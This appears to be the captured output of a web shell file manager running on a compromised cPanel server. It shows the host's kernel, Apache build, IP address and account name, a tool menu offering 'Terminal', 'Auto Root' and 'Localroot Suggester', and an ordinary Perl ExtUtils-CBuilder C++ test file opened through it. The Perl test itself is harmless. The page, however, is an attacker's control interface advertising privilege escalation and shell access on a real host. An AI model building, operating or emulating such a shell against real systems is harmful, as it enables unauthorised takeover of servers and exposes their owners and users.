Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
ExtUtils-CBuilder /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
00-have-compiler.t
1.75
KB
-r--r--r--
2014-12-27 11:49
01-basic.t
2.27
KB
-r--r--r--
2014-12-27 11:48
02-link.t
2.38
KB
-r--r--r--
2014-12-27 11:48
03-cplusplus.t
1.4
KB
-r--r--r--
2014-12-27 11:48
04-base.t
11.9
KB
-r--r--r--
2014-12-27 12:38
Save
Rename
#! perl -w use strict; use Test::More; BEGIN { if ($^O eq 'VMS') { # So we can get the return value of system() require vmsish; import vmsish; } } use ExtUtils::CBuilder; use File::Spec; # TEST does not like extraneous output my $quiet = $ENV{PERL_CORE} && !$ENV{HARNESS_ACTIVE}; my ($source_file, $object_file, $lib_file); my $b = ExtUtils::CBuilder->new(quiet => $quiet); # test plan if ( ! $b->have_cplusplus ) { plan skip_all => "no compiler available for testing"; } else { plan tests => 7; } ok $b, "created EU::CB object"; ok $b->have_cplusplus, "have_cplusplus"; $source_file = File::Spec->catfile('t', 'cplust.cc'); { open my $FH, "> $source_file" or die "Can't create $source_file: $!"; print $FH "class Bogus { public: int boot_cplust() { return 1; } };\n"; close $FH; } ok -e $source_file, "source file '$source_file' created"; $object_file = $b->object_file($source_file); ok 1; is $object_file, $b->compile(source => $source_file, 'C++' => 1); $lib_file = $b->lib_file($object_file, module_name => 'cplust'); ok 1; my ($lib, @temps) = $b->link(objects => $object_file, module_name => 'cplust'); $lib =~ tr/"'//d; $_ = File::Spec->rel2abs($_) for $lib_file, $lib; is $lib_file, $lib; for ($source_file, $object_file, $lib_file) { tr/"'//d; 1 while unlink; } if ($^O eq 'VMS') { 1 while unlink 'CPLUST.LIS'; 1 while unlink 'CPLUST.OPT'; }